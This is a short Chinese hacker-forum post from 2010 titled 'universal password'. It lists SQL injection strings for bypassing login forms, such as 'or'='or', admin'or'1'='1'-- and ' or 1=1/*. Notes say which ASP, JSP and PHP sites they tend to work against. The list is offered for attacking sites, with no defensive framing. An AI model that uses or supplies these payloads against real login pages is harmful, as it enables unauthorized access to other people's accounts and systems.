蓝盟诗人[LUC]蓝客联盟

万能密码

2010-09-26 23:02 作者: 来源: 本站 浏览: 1,850 views 我要评论 字号:

各种利用形式如下:
'or'='or'
1'or'1'='1
admin'or'1'='1'--
'or’’='
" or "a"="a
') or (’a’='a
or 1=1-- '
or ’a’='a
'or''='
'or'1'='1
"or=or"
'or''=''or''='
'or'='1'
'or' '1'='1
特殊说明:
1.admin ' or ' membership/login.asp(国外某程序)
2.admin 1'or'1'='1 用于jsp程序,如果管理员有admin这个用户,有一定成功率。
3.存在字符型注入的php网站是可以用万能密码' or 1=1/*的(某文章提到过)

打印
分享到:
复制链接

发表评论

*

* (保密)

Ctrl+Enter 快捷回复

会员登录关闭

记住我 忘记密码

注册会员关闭

小提示: 您的密码会通过填写的"电子邮箱"发送给您.